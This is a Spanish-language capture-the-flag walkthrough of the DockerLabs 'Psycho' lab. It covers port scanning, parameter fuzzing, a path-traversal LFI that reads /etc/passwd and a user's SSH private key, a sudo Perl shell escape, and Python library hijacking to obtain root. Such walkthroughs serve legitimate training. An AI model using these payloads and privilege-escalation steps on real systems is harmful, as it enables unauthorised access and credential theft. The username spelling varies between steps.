

1. Descripción

Descripción

El laboratorio Psycho de DockerLabs es un entorno vulnerable en Linux donde se practican técnicas básicas de hacking ético. Incluye enumeración de servicios, explotación de una vulnerabilidad LFI, acceso mediante clave SSH filtrada y escalada de privilegios usando sudo.

2. Escaneo de Puertos y Servicios

1. Escaneo básico

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ sudo nmap -p- --open -Pn -n -sS --min-rate 5000 -T 5 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 11:40 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 9A:20:FE:EF:E3:88 (Unknown)
```

2. Escaneo detallado de servicios

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ sudo nmap -p 22,80 -sV -sC -Pn -n --min-rate 5000 -T 5 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 11:41 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000066s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|   256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: 4You
|_ http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 9A:20:FE:EF:E3:88 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds
```

→ Hallazgos clave:

- ⇒ Puerto 22: SSH versión reciente
- ⇒ Puerto 80: Título HTTP (4You)

3. Enumeración Web

1. Escaneo de directorios con Gobuster

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,sql,html,php,zip,bak,old -t 200 --no-error
```

```
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
```

```
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: old,txt,sql,html,php,zip,bak
[+] Timeout: 10s
```

```
Starting gobuster in directory enumeration mode
```

```
index.php (Status: 200) [Size: 2596]
assets (Status: 301) [Size: 309] [→ http://172.17.0.2/assets/]
server-status (Status: 403) [Size: 275]
Progress: 1764464 / 1764464 (100.00%)
```

```
Finished
```

→ Solo se encuentra un único archivo: index.php. Esto indica que la aplicación es dinámica y toda la funcionalidad depende de los parámetros GET/POST

2. Fuzzing de parámetros con Wfuzz

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ wfuzz -c -t 100 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/index.php?FUZZ=test"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://172.17.0.2/index.php?FUZZ=test
Total requests: 6453
```

ID	Response	Lines	Word	Chars	Payload
000000001:	200	62 L	169 W	2596 Ch	"1"
000000003:	200	62 L	169 W	2596 Ch	"12"
000000006:	200	62 L	169 W	2596 Ch	"15"
000000007:	200	62 L	169 W	2596 Ch	"16"
000000005:	200	62 L	169 W	2596 Ch	"14"
000000002:	200	62 L	169 W	2596 Ch	"11"
000000004:	200	62 L	169 W	2596 Ch	"13"
000000008:	200	62 L	169 W	2596 Ch	"17"
000000010:	200	62 L	169 W	2596 Ch	"21"
000000045:	200	62 L	169 W	2596 Ch	"AuthItemForm"
000000046:	200	62 L	169 W	2596 Ch	"B"
000000042:	200	62 L	169 W	2596 Ch	"AuthChildForm"
000000047:	200	62 L	169 W	2596 Ch	"BIGGER"
000000014:	200	62 L	169 W	2596 Ch	"3DSecureStatus"
000000048:	200	62 L	169 W	2596 Ch	"BackURL"
000000049:	200	62 L	169 W	2596 Ch	"AudioPlayerReset"

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ wfuzz -c -t 100 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/index.php?FUZZ=test" --hw 169
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****

Target: http://172.17.0.2/index.php?FUZZ=test
Total requests: 6453
```

ID	Response	Lines	Word	Chars	Payload
000005057:	200	62 L	166 W	2582 Ch	"secret"

```

Total time: 7.577568
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 851.5924
```

→ Posible Parámetro vulnerable: secret

4. Local File Inclusion (LFI)

1. Descubrimiento de LFI (Local File Inclusion)

```
(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ curl "http://172.17.0.2/index.php?secret=../../../../../../../../etc/passwd"
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>4You</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <link rel="stylesheet" href="main.css">
</head>
<body>
  <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
    <div class="container">
```

```

<footer class="bg-dark text-white text-center py-4">
  <div class="container">
    <p>©copy; 2024 @TLuisillo_o & DockerLabs</p>
  </div>
</footer>

<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>

</body>
</html>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/usr/sbin/nologin
vaxeix:x:1001:1001:,,,:/home/vaxeix:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
luisillo:x:1002:1002::/home/luisillo:/bin/sh

```

→ Resultados:

⇒ El parámetro secret es vulnerable a LFI.

⇒ Usuarios identificados:

- ubuntu
- vaxeix
- luisillo

5. Obtención de acceso SSH (vaxeix)

1. Leyendo las claves SSH del usuario vaxeix

```

(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ curl "http://172.17.0.2/index.php?secret=../../../../../../../../home/vaxeix/.ssh/id_rsa"
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>4You</title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <link rel="stylesheet" href="main.css">
</head>
<body>
  <nav class="navbar navbar-expand-lg navbar-dark bg-dark">
    <div class="container">
      <a class="navbar-brand" href="#">I <3 DockerLabs</a>
      <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav"
Toggle navigation">

```

```

</div>
</footer>

<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.6/dist/umd/popper.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>

</body>
</html>

```

```

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

```

→ Obtención de la clave privada (rsa_id)

2. Conexión SSH (vaxe)


```

(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ nano id_rsa_vaxei

(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ chmod 600 id_rsa_vaxei

(kali@MrRobot)-[~/Labs/CTFs/DockerLabs/psycho]
$ ssh -i id_rsa_vaxei vaxei@172.17.0.2
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.18.12+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Apr 27 16:11:38 2026 from 172.17.0.1
vaxei@95b601e63bc4:~$
vaxei@95b601e63bc4:~$ whoami
vaxei
vaxei@95b601e63bc4:~$
vaxei@95b601e63bc4:~$ pwd
/home/vaxei
vaxei@95b601e63bc4:~$

```

→ Conexión exitosa.

6. Escalada de Privilegios (luisillo)

1. Enumeración de privilegios sudo desde vaxei

```

vaxei@95b601e63bc4:~$ whoami
vaxei
vaxei@95b601e63bc4:~$
vaxei@95b601e63bc4:~$ pwd
/home/vaxei
vaxei@95b601e63bc4:~$
vaxei@95b601e63bc4:~$ sudo -l
Matching Defaults entries for vaxei on 95b601e63bc4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User vaxei may run the following commands on 95b601e63bc4:
(luisillo) NOPASSWD: /usr/bin/perl
vaxei@95b601e63bc4:~$

```

→ El usuario vaxei puede ejecutar Perl como el usuario luisillo sin contraseña.

2. Primer salto: vaxei → luisillo

```
vaxeia@95b601e63bc4:~$ sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh"'
$
$ whoami
luisillo
$
$ pwd
/home/vaxeia
$
```

→ Obtenemos una shell como luisillo (prompt \$)

3. Enumeración de privilegios sudo desde luisillo

```
$
$ sudo -l
Matching Defaults entries for luisillo on 95b601e63bc4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luisillo may run the following commands on 95b601e63bc4:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
$
```

→ El script se ejecuta como root (por el ALL en sudo)

7. Escalada de Privilegios (root)

1. Análisis del script /opt/paw.py

```

$ cat /opt/paw.py
import subprocess
import os
import sys
import time

# F
def dummy_function(data):
    result = ""
    for char in data:
        result += char.upper() if char.islower() else char.lower()
    return result

# Código para ejecutar el script
os.system("echo Ojo Aqui")

# Simulación de procesamiento de datos
def data_processing():
    data = "This is some dummy data that needs to be processed."
    processed_data = dummy_function(data)
    print(f"Processed data: {processed_data}")

# Simulación de un cálculo inútil
def perform_useless_calculation():
    result = 0
    for i in range(1000000):
        result += i
    print(f"Useless calculation result: {result}")

def run_command():
    subprocess.run(['echo Hello!'], check=True)

def main():
    # Llamadas a funciones que no afectan el resultado final
    data_processing()
    perform_useless_calculation()

    # Comando real que se ejecuta
    run_command()

if __name__ == "__main__":
    main()

```

→ El script importa subprocess. Si creamos un archivo subprocess.py en el directorio actual, Python lo cargará antes que el módulo legítimo del sistema

```

$ ls -la /opt/paw.py
-rw-r--r-- 1 root root 967 Aug 10 2024 /opt/paw.py

```


→ Los permisos del script son solo lectura

2. Técnica: Library Hijacking en Python

Cuando Python ejecuta `import subprocess`, busca el módulo en el siguiente orden:

- Directorio actual ('' o '.')
- Directorios en PYTHONPATH
- Directorios del sistema (/usr/lib/python3.12/)

A) Creación del archivo `subprocess.py` malicioso en el directorio desde donde se ejecuta el script.

```
$ cat > subprocess.py << 'EOF
import os
os.system("/bin/bash -p")
EOF> > >
$
```

B) Ejecución del exploit

```
$ sudo /usr/bin/python3 /opt/paw.py
root@95b601e63bc4:/opt#
root@95b601e63bc4:/opt# whoami
root
root@95b601e63bc4:/opt#
```

→ Shell como root